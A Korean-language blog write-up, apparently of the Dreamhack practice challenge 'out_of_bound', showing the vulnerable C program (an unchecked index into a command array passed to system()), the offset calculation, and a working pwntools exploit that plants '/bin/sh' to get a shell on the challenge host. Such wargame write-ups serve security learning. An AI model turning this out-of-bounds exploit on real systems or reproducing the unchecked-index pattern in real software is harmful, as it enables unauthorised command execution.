[혼자실습] out_of_bound

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

name과 idx 입력을 받고 command[idx]를 system에서 실행한다. 이를 이용해 문제를 해결해보도록 하자.

 

다음은 main 함수를 디스어셈블한 결과이다.

offset을 구해보자. 0x804a0ac(name 주소)와 0x804a060(command 주소)의 차이는 0x4c(76)이다. command는 포인터 배열이고 이는 4byte이므로 4로 나누면 19가 된다. 

그렇기 때문에 command[19]를 통해 name을 이용할 수 있다.

 

from pwn import *
p=remote('host1.dreamhack.games', 9689)
e=ELF('./out_of_bound')

name=e.symbols['name']
command=e.symbols['command']

payload=p32(name+4)
payload+=b'/bin/sh'

p.recvuntil("Admin name: ")
p.send(payload)
p.recvuntil("What do you want?: ")
p.sendline('19')

p.interactive()

name에 /bin/sh를 넣어주어 system("/bin/sh")를 실행하도록 한다. 

+ Recent posts